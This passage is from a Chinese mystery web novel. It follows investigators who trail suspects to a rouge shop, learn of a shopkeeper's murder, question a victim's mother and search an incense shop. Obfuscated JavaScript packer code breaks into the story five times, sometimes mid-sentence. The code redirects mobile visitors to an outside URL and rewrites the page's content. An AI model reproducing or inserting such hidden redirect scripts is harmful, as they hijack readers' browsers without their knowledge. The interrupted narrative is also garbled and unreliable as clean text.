他动了动唇未出声,过了好一会儿后才蹦出几个字:“那样会变复杂。” 姜小四没听懂,但也懒得再问。 两人对话间,距离陆引越来越近,便也逐渐发现了周边的场景越来越熟悉。 他们这是……又回到了拣香坊? 方骅快速移至院外墙角下,姜小四见状也学着他的动作,猫着腰跑过去。 里面与陆引说话的,正是程平。只是谈话声音太小,一时实在无法听清在说些什么。 好在方骅耳力过人,还是从他们如微风拂过的低语中,听出了几句毫不相干的句子。 ……送去什么……染坊 香砂剩下多少…… 第九十九章 香砂胭脂铺 夜市这边,冷萤与珊瑚两人,戴着面纱从每个忙碌的人身边走过。 头顶一排一排的灯笼,将整个夜市照得亮如白昼。 每个从她们身边路过的人,全都心里盘算着价格,双眼对比着货物,试图在今夜的买卖中满载而归。 无论是两边的店铺商家,还是道路中间的小贩,全都卯足了劲招揽着生意。 每个人好像都在忙着自己的事,除了在无人在意的角落里,冷萤与珊瑚悠闲地站在树下,边谈天,边关注着凌风曾与他们提过的卖香插的小摊。 摊主是一位热情的中年男子,旁边满脸笑容的则是他媳妇。他们的生意好像不太好,正无聊地与旁边的摊主谈天说地。 想想也是,毕竟会半夜赶来的买家,大多数还是会优先选择去那些卖稀有香材的小摊上光顾。 珊瑚一边瞧着,一边打了个大大的哈欠:“冷姐姐,你说哪有人会这样傻,集市上这么多人,他哪会直接跑过来将东西顺走嘛。” 其实冷萤在此处站定不久,就发现珊瑚说得有道理。 只不过,她现在的目光,正被旁边一家小摊上发生的事情所吸引。 吸引住她目光的这家小摊,对比于别家热闹的叫卖声,这家摊主在交易时全程无任何一点声音。 摊主瞧上去是一位年轻男子,他的摊位就摆在卖香插的那对夫妻旁边。 这家摊主与买家似乎达成了某一种神奇的默契,只要买家将一锭银子拿给摊主,摊主就面无表情地递过去一个瓷瓶。 这么一小点瓷瓶里能装什么东西?居然值一锭银子这么多? 珊瑚也顺着冷萤的目光,看到了那家略有些格格不入的怪异小摊。 更让人想不通的是,在整个集市上,好似就只有她俩觉得那家小摊有问题。 其余的,不管是买家还是卖家,全都该做啥做啥。 卖香插的那对夫妻,还时不时与卖瓷瓶的摊主说上两句话。 这从侧面说明一件事,这卖瓷瓶的摊主与买家互不沟通,与他能不能说话没什么关系。 要达到这一层默契,必须来客全都是老顾客才行。 见她瞧得如此认真,珊瑚问道:“我们要去买一瓶吗?” 就在她说这句话时,冷萤便瞧见,摊主在对一位不熟悉这类售卖模式的新客装聋。 如果是这样,那她俩要是现在过去,可能也只能吃一嘴的闭门羹。 于是她回道:“再等等吧。” 珊瑚不懂要等什么,但见冷萤瞧得起劲,只能默默住嘴继续盯着那家。 岂料,刚一瞧过去,便让她瞧见了一位熟悉的人。 “冷姐姐你瞧,那人是不是凌公子?”她指着瓷瓶小摊前的一位紫衣男人,不甚确定地问道。 冷萤其实也瞧见了。 只是,她见紫衣公子与卖瓷瓶摊主,一人递银子,一人给瓷瓶。 熟稔的动作,说明凌风并不是第一次在这小摊上买东西。 珊瑚灵机一动:“我们虽然没买,但可以问凌公子那瓷瓶里是什么呀!冷姐姐,你说我说得对不对?” 珊瑚说得有道理,冷萤其实对那瓷瓶里装的东西,也甚是感兴趣。 并不是她多爱凑热闹,只是对方这个买卖模式,无形中就给售卖的商品披上了一层神秘的外衣。 让人不由得心里痒痒的,极其想知道那瓷瓶里究竟装着什么。 “那还等什么,走啊……”珊瑚是个急性子,边说就边扯着冷萤朝凌风离开的方向跟过去。 他们方才看见时,凌风就已经在递银子给摊主了。此时趁她们商量的功夫,对方早就转身朝夜市前方走去。 络绎不绝的人,不停自反方向走过来,阻挡冷萤与珊瑚的视线。 “凌公子,喂……凌公子等等我们啊……”珊瑚见对方越走越快,生怕她们要追不上,心急地喊了两声。 也不知对方有没有听见她的叫声,反正等她俩拨开重重人群再跟过去时,便只能瞧见对方已走出老远的背影了。 现在这样的距离,无论珊瑚再怎么呼喊,对方应当都听不见了。 眼见着,凌风走了一段路后突然拐了个弯,刹那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547091|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间人影即将要瞧不见了,冷萤顾不上其他,拉着珊瑚便一路小跑着跟上去。 好在凌风拐过去后走得并不快,他一路走一路左右张望,不知是在找人,还是在警惕些什么。 追在身后的两人,早已跑得气喘吁吁。 珊瑚实在是跑不动了,撑着腰喘着粗气,对额头已经沁出细密汗珠的冷萤道:“他……呼呼,他怎么走得那么快!” “快,来不及了。”瞧着对方身影又要淹没在街角处,冷萤拉着还在不停喘气的珊瑚,拔腿就追。 这个人怎么走得这么快! 两人使出最后的气力,终于在追至街角拐弯处后,见凌风停下了脚步。 “喂,凌公子,你……”珊瑚边喘边喊:“你到底能不能听见我们在叫你啊?”喊出这句话的她,已经彻底死心了。 不是因为别的原因,而是凌风在停在原地张望片刻后,径直抬脚走进了前方的一家店铺中。 两人这时即便是有轻功 ,也无法再追上他了。 终于能停下来歇息的两人,眼睁睁盯着凌风走进一家赪紫色大门的店铺。 离得太近,两人并未看清店铺的名字。 在终于能正常喘上一口气后,她们疲惫地拖着双脚朝那处走去。 两人本意是想着,也许凌风只是进去买个东西立刻便会出来,不如她们直接去门口等着。 反正追都追到这里了,不问个明白,她们跑得这么累也太亏了。 就在冷萤与珊瑚即将走到店铺门口时,身后传来了熟悉的声音。 “你们怎么过来了?”来人是方骅与姜小四。 珊瑚转头见是他俩,惊讶问道:“你们也是过来找凌公子的?” 方骅摇头:“我们是跟着陆掌柜过来的,她进了这家店铺。你们……是跟着凌公子?他也进到了那里面?” 冷萤颔首。 说话间,四人已行至店铺门前,并同时抬头看向门口那块并不起眼的招牌。 招牌上赫然写着五个大字。 —香砂胭脂铺— 第一百章 陆引之死 “又是胭脂铺?” 陆引与凌风,他们在沉水镇里刚认识的两人,就在方才前后脚走进了这家“香砂胭脂铺”。 宁幺儿死前也曾进过胭脂铺。 如果沉水镇没有第二家胭脂铺子,那这家铺子究竟有多大的吸引力,让公子小姐大半夜都要跑进去买东西? 赪紫色的店门,本身就为这家店染上了一丝神秘色彩。 周边的店铺,大多采用最原始的木制板门。 但这一家,虽说门前并未有多余的装饰,让它瞧起来同其余店家一样低调。 但别样漆色的大门,加上门板上用朱漆绘制的莲花图样,瞬间让原本想走进去的客人,有了一种不敢随意乱入的隔绝感。 冷萤方才看得很清楚,凌风在进这家店时,店门是敞开着的。 怎么才一晃眼,等到他们走过来,这店门突然就给关上了呢? “真是奇怪,沉水镇晚上这么热闹,这家店怎么还关上门了?”珊瑚貌似也发现了不对,对另外三人嘀咕了一句。 “陆引进去时里面有人特地来开门,我们准备跟上去,凌风又突然走了过来。我们正躲避时,就看到了你们。”方骅向冷萤解释,他俩为何会在此处。 冷萤这才突然反应过来:“你们怎么会跟踪陆引?” 见她不解,方骅将方才来之前发现的事情,简单对她们说了下。 “香砂?”冷萤知道有一种香料叫这个名,可通常都是百姓用来调酒和调味的。 也许是她孤陋寡闻了,她还是第一次见一家胭脂铺子叫香砂……? (还有染坊) 姜小四提醒他们。 “染坊?”珊瑚考虑了一会儿,疑惑问道:“沉水镇有染坊吗?” 她这一句话,将另外三人都问住了。 方骅干脆提议:“不如我们这时先去胭脂铺瞧瞧,明日有空再去打听染坊的事。 “有道理。” 言罢,几人走到那扇紧闭的大门前。 礼貌敲门过后,毫不意外里面无人应答。 不死心的方骅又试了试,身后是嘈杂的人流,身前的大门背后依旧安静无声。 若不是几人亲眼瞧见陆引与凌风走进去,可能真以为这家店一直关着门。 “或许是到了一定时辰,这里便不再接待客人?”珊瑚猜测。 虽然她说得不无道理,但冷萤总觉不全是这样。一件事情,若每次都这么巧合。 恰巧她们看见了凌风;又恰巧方骅与姜小四瞧见了陆引。 随后,他们同时被带到这家胭脂铺前。这一出,真不是有人故意引导? 正待冷萤细想时,珊瑚在一旁暴走了:“我去把那个叫程平的抓起来问个清楚。” “别去。”冷萤拦住她:“现下再过去也问不出什么所以然来。” 方骅也觉得她说得没错:“明显这人有事瞒着我们,不管他是不是真心喜欢宁幺儿,还是为了隐瞒什么而装出一副深情的样子。至少,他还给我指出了一条线索。“ 轻点头,冷萤赞同:“没错。是真是假,明日去一问便知。” “那现在怎么办,这破门又不开!”珊瑚瞧着紧闭的大门,恨不得上去踢一脚。 “四处转转吧!你忘了,还有个连环杀人凶手藏在暗处呢。”冷萤见她心急,轻声提醒她。 方骅点头:“先往回走吧,隔墙有耳。” ”算了,走吧!“珊瑚率先掉转头离开,冷萤与方骅紧随其后。 姜小四慢了一拍,但回过神来也是赶紧跟了上去。 只是,他刚走没几步,身后就发出了极细微的一声轻响,就像是什么被风轻轻吹开的声音。 他以为自己听错了,但还是下意识地调转头看过去。 恍惚间,他仿佛瞧见那扇会将整个人吸进去的深邃色大门,稍稍打开了一条缝。 他立刻一把拉住冷萤。 “怎么了?”对方转身问他。 姜小四眨了一下眼,再看过去时,却发现那扇门依旧紧闭着。 难道是自己看错了? 故此,他只能对冷萤摇了摇头,表示没事。 他虽未表达什么,但被他拉住脚步的人还是看了眼胭脂铺。直到确定真正无事,才示意姜小四跟上。 他们回程的路上,并未再挤进夜市里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547092|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只是在路过香插小摊时,冷萤自人群中远远望了一眼。 她瞧过去时,卖瓷瓶的摊主正无聊地托着腮,不知在想些什么。 而他旁边香插小摊上的那对夫妇,正忙碌地找些什么。 她隐约从嘈杂的人群中,捕捉到摊主喊了句:“哪个砍手剁脚的人,他妈的又偷我香插?” 当日,直到他们回到客栈,也未听说有什么不寻常的事发生。 陈全来报时,也是一切正常。 无人出事,自然是好。他们忙忙碌碌了一整日,也总算可以安心休息了。 …… 次日,万安客栈 冷萤一大早,便被楼下的说话声吵醒。 她醒时,珊瑚正半个身子挂在窗沿上,仔细听楼下的人说话。 怕她摔下去,冷萤忙将她 拉下来。 “走,快下去听听,好像是有人出事了”珊瑚急不可耐,守在一旁等冷萤洗漱完毕,即刻便拖着她下楼。 两人刚到楼下,便瞧见方骅与姜小四坐在离大门最近的桌前,屏气凝神地听客栈门前的几位乡民说话。 她俩默默走过去,互相点了点头算是打了招呼。 也许来得正是时候,冷萤刚一坐下,便听见一位大娘神秘兮兮地问着旁人:“听说,又死了一个?” “对啊,你们说要是再不抓住凶手,这镇子还怎么住人啊?”另一位大娘也忧心忡忡地念叨着。 旁边买菜的大叔凑了过来,低声问道:“有说是什么时辰发现的没?尸体在哪里啊?” “听说辰时在东边林子里发现的,就是上次郝家女儿与宁家幺女被发现的林子里。”这次,是一位年轻男子。 “啊……”大娘夸张喊了声:“怎么每次都是那处?那地儿可真是邪门啊!对了,这次是谁家这么倒霉?” “你不知道?” “这不是才听说。”大娘朝年轻男子催促道:“快,你小声说与我听。” 此时,年轻男子似乎朝那几个人凌近了些。 好在他们几人有方骅。 “我听说啊,这次被杀的,就是引香坊的陆掌柜……” 第一百零一章 郝家女儿 “怎么会是她?” 待那几人离去后,坐在桌前的四人才慢慢收回偷听的脑袋。 冷萤仿佛还未完全回过神,他们几人昨日还在引香坊中,听陆引提过她对连环杀人恶魔的惧意。 怎的这还没到一日,对方竟遇害了? “昨夜,我们要是再坚持一下就好了。”她想起,几人昨夜在胭脂铺外流连许久,却因为无人为他们开门,导致最终没有进去。 方骅锁眉想了许久,最后才安慰道:“看陆掌柜昨夜轻车熟路的样子,明显对胭脂铺是熟悉的。且以她的谨慎程度,想必也不会大半夜跑到危险的地方去。” “那怎么……”冷萤想了半晌也未想明,问道:“难道她是在回家路上,不小心遇见了凶手?” “可听方才那人说,她的尸体是在东边林子里被发现的。引香坊与胭脂铺都不在东边,她又怎会半夜突然跑到那处去?”珊瑚总觉得这路线走得很是奇怪。 “这样……”冷萤沉吟片刻,开口:“我与珊瑚去郝家问下情况,你和姜小四去引香坊查探一下。午时在胭脂前集合,怎么样?” 方骅点头,表示赞同。 珊瑚与姜小四自然也无甚意见。 于是四人分工合作,在客栈用完朝食后,冷萤与珊瑚便来到程平所说的郝姓农户,也是其中一位死者的家门前。 两人刚到时,里面刚好走出一位农妇打扮的女人。如果她们没猜错的话,这位便是死者的母亲。 她头上绑着一条布巾,身体状况瞧起来有些不佳。虽身材瘦小,手里却抱着许多卷画纸。 她抱着画纸走到一块木板前,用小石子当镇纸,将放在旁的画纸一张一张铺展开。 冷萤与珊瑚见状,急忙走上前去帮她。 农妇见有人上前帮忙,动作一下快了许多,嘴里念念叨叨着:“谢谢两位姑娘,我一个人来就好,不用麻烦你们了。” “大娘不用客气的,我瞧这些画作风格独特,飘逸生动。可否请问,是出自谁之手?”冷萤帮着大娘理画,顺嘴询问道。 其实她大概可以猜到,这些应该是郝家去世女儿的遗作。但直接问出又怕对方不愿回答,只好言语间迂回些。 农妇整理画纸的手略微一顿,抬眼看向冷萤与珊瑚。 “两位姑娘瞧起来气韵不凡,应该不是沉水镇的人吧?”农妇瞧着她们问道。 冷萤微微颔首:“友人同游,路过沉水镇,留下来歇几日再出发。”她简单解释一番。 “两位姑娘还是快些离开沉水镇吧,这里早就不适合住人了。”农妇将手中最后一张画纸展平后,小声与她们说道。 冷萤问:“大娘为何如此说?” 农妇将她们请进屋,细心为她们备好茶水。 冷萤刚一进门,便瞧见窗边梳妆台上方挂着一幅年轻女子的画像。画中的女子巧笑倩兮,身姿纤弱,看得出来从小被培养得很好。 “这位是……”她问道。 农妇微叹:“她是我的女儿,郝灵。十日前被人害死在前面的林子里,到现在连凶手都不知道是谁。” 郝大娘或许隐约猜到了她们两人的来意,所以未等冷萤多问,便一股脑地说了出来。 冷萤或许能理解这位母亲的想法。 对方也许在想,这件事多一人知道,便会多一人关注。不仅能够让知情人提高警惕,也可以让这件事流传得广一些,说不准便会有当日的目击者上门提供帮助与线索呢? 父母之爱,能从每个细节里轻易发现。 冷萤与珊瑚也不知该如何安慰大娘,只得说了句“节哀”后,便端起茶水默默喝。 放下茶杯后,冷萤想起大娘抱到外面的那些画作,说道:“看得出来,您女儿很爱作画。” “是啊……”郝大娘默默点头,随即像是想到了什么,扯出一抹苦笑道:“她爱画,宁家幺女爱香。往常她们总爱凑到一起浮想联翩,研究如何用香材中的色彩作画。可惜……” 可惜,两位如此天真烂漫,热爱生活的女子,却被一个杀人恶魔所害。 “那凶手真该死!让我捉住他,定要将他大卸八块!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547093|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珊瑚听得气不过,既惋惜又愤怒。 “谢谢姑娘。”郝大娘嘴里道着谢,眼眶却渐渐红了,“不过两位姑娘还是不要去冒险了,那恶魔太可怕,杀人放血。我这几日,每每一闭上眼,就梦到阿灵被杀害的样子。挖肺剜心的疼啊……” “大娘……”冷萤不忍。 珊瑚也在一旁紧皱着眉头,总在唇边的梨涡也不见了。 “你们也是有爹娘的,可不能让他们再尝我们尝过的苦了。”郝大娘的眼角已渐渐濡湿。 “我们会小心的,大娘。”珊瑚小声道:“我武艺很好的。” 她平日说话不拘,这次倒是在极力让自己语气听起来温柔些,不想让本就伤心的人更加受伤。 “那也不行,万一磕了碰了,你们女孩家家的……”赫大娘还是不愿。 直到冷萤向她保证,她们绝不会轻举妄动,赫大娘才愿意将郝灵被害那日发生的一切,说与她们听。 郝大娘说,郝灵往日便常去寻宁幺儿玩。那日 也是,她同往常一样,用过午食便说要去栈香铺寻宁幺儿。 因为经常这样,郝家夫妇也未放在心上,便同意让她去了。 谁知,还未到一炷香的时间,郝灵突然回来朝郝家夫妇取一两银子,说是日落后去集市有用处。 突然要拿出一两银子,对农户来说有些困难了,郝家夫妇当场便没直接应允。 当时郝灵也并未多说什么,便转身又回去去寻宁幺儿了。 直到夜市做生意的都陆续收摊,街旁的店铺也相继关门,郝家夫妇才发现自己女儿居然一直未曾回家。 两人立即便去集市上寻找,但认识的人都说未见过她。 直到两人找到宁家,才从宁幺儿嘴里得知,郝灵早在日暮时分便与她分道扬镳。 宁幺儿同他们说,郝灵本来在宁家玩得好好的。谁知,好似突然想起了什么,饭都没吃便急着离开,说是要去买什么东西。 本来宁幺儿说陪她的,但郝灵说不用,还说顺便去胭脂铺拿点东西便会直接回家。 第一百零二章 额角的疤 郝大娘讲完那日发生的一切,抬手抹了把泪。 “一两银子够我们卖出两石大米了,问她干什么用她也不说。我和她爹怕她被人给骗了,当时就没给她。谁知……”她现下说起,言语间满满都是悔意。 冷萤的心思,也全放在郝大娘说的那一两银子上。 她站起身走到梳妆台前,再次看向郝灵的画像。 方才只是大致看了眼,现下仔细瞧来却发现郝灵画像上,右边额角处似乎有一块暗影。 她转身问郝大娘:“大娘,郝灵的额角是不是曾经受过伤?” 大娘也走过来,与她一同瞧着墙上郝灵的画像,随即哽咽道:“这是幼时在田间帮我们做农活时,不小心撞在了锄头上。幸好只是割破了额角,再往下一点,只怕右眼就保不住了。” 原来那道暗影,是这么来的。 “这幅画像是郝灵自己画的吗?”她又问。 大娘回道:“我们夫妇俩只会做些粗活,阿灵小时候赶集,看见画贩上卖的那些好看的画不愿走。我和她爹咬牙狠狠心,将她送到一位很有名的画师那学了近半年。效果确实不错,回来就给我和她爹也画了幅。这一幅,是她及笄那年为自己画的。” 冷萤抬手摸了摸自己眉心。 她的眉心处也有一块疤,以至于每日都要为自己点上花钿才愿意出门。 郝灵在为自己画自画像时,她其实可以忽略掉额角的那块疤,却还是将它画了上去。若不是她早已接受了那块疤痕的存在,那便是极度在意了。 凝神想了许久,直到珊瑚察觉到这处的沉默走了过来,冷萤又继续问道:“郝灵在出事前,整个人有没有比较大的变化。比如更爱漂亮些了,或者是心情突然变得很好?” 郝大娘听她问起,立刻便答道:“你说的这两种情况都有,她前段时日总爱不同的妆容,还总问我哪个好看。还有……妆粉也比往常厚了许多。” “会向您询问她额角的疤痕有无淡些吗?”冷萤问道。 “妆粉厚些,自然额角的疤痕会淡些。不过……”郝大娘想了想,又道:“她本就在意那处疤痕,所以她只要问起,我便都会说淡了不少。” 冷萤静默。 她心里不禁在想,难道郝灵在出事前曾遇到过什么人向她许诺,比如……会治好她额角疤痕之类的? 也许出于对那人格外信任之故,又或许她在这件事上付出了许多,导致会在心中不停暗示自己,她做的那些举动都是有效果的。 要知道,一个人对自己极度渴望实现的事,会有一定程度上的执拗。 当那股子执拗,碰到一个不停在她身边告诉她肯定会成功之人,便会转化成怎么也褪不去的偏执。 有没有一种可能,答应帮她治好额角疤痕的人,就藏在胭脂铺里? 所以那日她才会回来朝郝家夫妇要那一两银子,然后又对宁幺儿说去胭脂铺拿东西? 说话间,几人慢慢走出门,径直来到郝灵的那些画作前。 木板上铺展开的,除了郝家夫妇的画像,几乎全是山水画,或者随笔的一处小风景。 倒是其中有一幅画瞧起来有些怪,瞧上一眼便引起了冷萤的注意。 那幅画里什么风景都没有,只有几口很大的水缸,线条生硬地呈现在画纸上。 整个水缸的缸身是褐色的,但水缸里的液体却是赤色的。 郝灵作这幅画时,不知是因为着急抑或是别的原因,只用一抹别样的紫色颜料,在画纸的一处小角,草草勾勒出几笔貌似一个人形的线条。 “她这画的是哪处的风景?”冷萤回想,自己好似从未在沉水镇的哪处瞧见过这样的摆设。 珊瑚也凑过来,好奇地问了句:“怎么只画了几口水缸?那一小点是人还是畜生?” 不光是冷萤与珊瑚,就连郝大娘也是一脸迷茫地摇了摇,表示不知这是哪处。 冷萤朝郝大娘要了这幅画。 郝大娘心思细腻,或许知道冷萤与珊瑚二人不似寻常女子,在冷萤问起时,便二话不说将那幅画送给了她们。 并在她们离开郝家时,跟在后面说了声:“保重自身。” 冷萤与珊瑚离开郝家后,便去了不远处满是沉香树的林子里。 那处林子,同样也是几位女孩尸体被发现的地方。 她们到时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547094|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆引的尸体已被运走,林子里也早已被收拾干净,瞧不出任何别样的痕迹。 微风吹过,树叶沙沙。 两人试图寻找凶手将尸体拖到林子里时留下的痕迹。 虽说这里不是第一案发之地,但凶手在杀完人后,执意要将尸体放在这处,肯定有她们还未察觉但极为特殊的原因。 质地湿润的土壤,更方便沉香树的生长。 沉水镇能产出上佳的沉香,与此地气候与湿度都有着莫大的关系。 冷萤的目光投向褐色的地面,落叶覆盖在泥土地上时不时被人踩上几脚,随后便深陷了进去。 湿润润的泥土,即便是渗进了鲜血,没一会儿也瞧不见了。何况,被送来的每具尸身里,血液早已被放干。 所以,凶手究竟是何故这样做呢?冷 萤脑袋里被这个疑问塞满,导致一时竟感觉有些头昏脑涨。 珊瑚见她状态不对,忙扶着她问道:“冷姐姐你是不是哪里不舒服?” 不停揉着额头的冷萤,让珊瑚扶她到一旁的树下坐着。 “也不是不舒服,只是……”冷萤不知该如何形容自己方才猛地闻到的一股子香气。 那香味太盛,让她一时有些承受不住,导致头皮有些发胀。 “你有闻到一股特别浓郁的香气吗?”她问正一脸担心看着自己的珊瑚。 珊瑚努力朝周围嗅了嗅,随即迷茫地摇摇头。 其实她没闻到也属正常,因为方才那浓郁的香气只出现了一刹,等她反应过来时,那股香气早已消散在清风里。 稍稍歇息一会儿后,冷萤只觉已恢复正常,便在珊瑚的搀扶下站起身。 在起身时,她的目光不小心瞧见地上有几根还未燃烧完的线香。珊瑚也瞧见了,伸手将地上的线香捡起。 冷萤接过拿起闻了闻,终于明白方才让她脑门发胀的香气出自哪里了。 想必,这些线香在被人发现时,还插在莲花座香插里。 也许是来搬运尸体的人拿走了香插,顺手就将里面的线香倒在了地上。 那残留的一丝余香,便好巧不巧地钻进了冷萤的鼻腔里。 第一百零三章 再探引香坊 引香坊的掌柜被杀,店铺大门自然也无法正常打开。方骅不知用了什么办法,与姜小四趁人不注意时溜了进去。 店里的一切,与他们昨日来时差别不大。 同样是昏暗的室内,和围绕在屋内一整圈的烛台。 只不过,这次他们进来时,再也没有那些袅袅绕绕的香雾了。 两人一路探查,走到上次陆引用来焚香的香几前,瞧见桌上摆放着的莲花座香插。 方骅突然想起凌风之前说过的话。 桌几上的香插……会与那几具尸体旁摆的莲花座香插,是同一种吗? 若是同一种,为何会出现在这里? 他不想浪费精力在这里细想,二话不说拿起桌上的香插丢给姜小四,让他保管好。 (我们是在偷东西吗?) 姜小四虽接过了他扔来的东西,但内心还是觉着这样不太对。 “成大事者、不拘小节。你这样注意细节,以后做事容易束手束脚。”方骅还是一句老话。 (阿萤说过,做匠师就得要细心。) “你现在同我一起查案,得听我的。”方骅好胜心顿时被激起。 姜小四不满地哼了一声,心想:你这样,阿萤以后是不会理你的。 前边的方骅不知姜小四正在身后编排自己,将围着的烛台一个个查了个遍。他从昨日进来的第一眼,就总觉得正常人一般不会这样布置自己的店面。 浮夸又俗气。 但很遗憾,他并未从那圈烛台里查出些什么。 整个店面的最右边,便是一整面放香材的抽屉柜,长度一直延伸至地面。 每个抽屉面上,都贴着里面所放香材的种类与名字。 他指着其中一个抽屉,朝姜小四问道:“甲香是什么东西?” (用一种螺贝磨出来的香材,上次我们在栈香铺子里见过。) “那东西,不是阿萤拿来做螺钿的吗?怎么又变成了香材?”方骅只记得冷萤老是拿贝壳磨来磨去的。 (不一样的,阿萤的是夜光贝,这种是螺壳的一种。) 方骅点点头貌似理解了,随即又“喔”了一声,来了句:“没听懂。” 这算是让姜小四给抓住机会了,只见他一抬手。 (听人说话最重要的,便是细心。) “闭嘴。”方骅恼羞成怒,怒斥一句。 结果凶了人家后,他才突然想起还有事要问,又指着其中一个抽屉心虚地问道:“牙消是不是就是牙粉?那不是用来揩齿的吗?为何她要摆在香材柜里?” 他这句话,倒是将姜小四问住了。 他自小接触香道,从未试过牙消也能拿来当香材用的。这陆掌柜,是不是将东西给放错了? 见姜小四也不懂,方骅懒得再问,转身便去找别的了。 两人走到莲花手菩萨像前驻足片刻,方骅瞧来看去,总感觉这菩萨像与他们昨日来时瞧见的,有一些变化。 至于是哪里有了变化,他一时也说不上来。 姜小四在菩萨像前站定,便一直盯着那只回眸衔蕊的凤鸟双目细看。 与通体红漆的菩萨身,还有五彩莲花装饰的螺钿片来说,那两颗镶嵌在凤鸟眼中的黑曜石着实有些暗沉了。 这样看来,这两颗黑曜石既不符合美观,相对来说也并不贵重。 有心中疑虑的加持,他默默便伸出一只手,想去碰凤鸟上的眼珠。 “慢着!”方骅一把抓住他的手,沉声道:“我记得很久前瞧过的莲花手菩萨像,身后其实没有那只凤鸟。所以还是得小心,怕里面有什么机关。” 他说得不无道理,姜小四听话地放下了手。 见他不再轻举妄动,方骅将注意力放至尖锐的鸟喙上。这时的他才发现,那日由于隔得太远,并未看清这只用沉香木雕刻出的凤鸟。 此时凑近一看方才觉出,那弯曲尖锐的长喙中,好似含着一颗什么东西? 姜小四自然也同他一样瞧见了,他看了眼方骅,见对方专注的目光上下扫视,仿佛是在研究其中的妙意。 见对方认真的模样,他转了眼开始瞧菩萨手中捏着的五彩莲花。 莲花原本的颜色是清丽的,但做这菩萨像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547095|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的匠师或许是想突出这莲花,于是在雕刻好莲花后,不仅髹涂上大漆,更是大胆地采用螺钿直接镶嵌,让整朵莲花瞧起来格外耀眼。 这样,即便是在周身红漆的菩萨手中,这朵莲花瞧起来也丝毫不逊色。 可阿萤对他讲过,一般匠师在选择做工艺品时,会选择采用明暗对比,或者明暗交替的方式,以达到整件工艺品的色彩平衡。 像这样色彩冲突如此之大的,他还是第一次见。这也是他总觉得风鸟那双黑眸黯然失色的原因。 放眼看去如果一水儿的艳色,黯色便会被淹没其中。 从一位匠师的作品里,可以探出对方在创作作品时隐藏的心思。 所以…… 姜小四拍了拍方骅。 “什么事?”方骅转头问道。 (鸟喙里的东西,是关键。) 不知是不是被他一句话点醒。这次的方骅没再提出疑问,而是在仔细 斟酌一番后,说道:“有道理。” 可他们虽是找到了关键之处,但具体该如何操作才能找出其中的关窍,还需得好好思虑思虑。 方骅回想自他们二人进到这室内后,除了发现这尊菩萨像有古怪外。 那便是…… 他转身看向墙上挂着的烛台。整整十二个烛台,一边六个。 陆引她即便再胆小,十二个烛台着实也太多了。此时的方骅看着那些烛台,好似突然想通了什么。 他吩咐姜小四:“你去把那边六个烛台点亮。”而他自己,则负责另外六个。 一盏一盏昏黄的烛光相继亮起,将整个引香坊照得比室外还亮。 在最后一个烛台亮起后,方骅与姜小四回到了菩萨像前。 原本黑色的凤目,不知是不是倒影着烛火的关系,骤然变成了褐色的半透状。 就在二人惊叹于黑曜石的变化时,鸟喙的顶端开始慢慢变得松动。 随着“咕咚”一声。 方骅与姜小四二人,亲眼瞧见一颗同样呈褐色的半透明珠子,自尖锐的鸟喙中,掉入了下方五彩莲花的花蕊中。 第一百零四章 一两银子即可 午后,香砂胭脂铺门前的小吃摊上。 珊瑚一路都嚷着饿死了,冷萤也怕真将她给饿坏了,便就近找了家卖扁食的小吃摊,给她点了碗扁食。 让她慢慢吃着,正好她们可以坐下等还未赶来的方骅与姜小四。 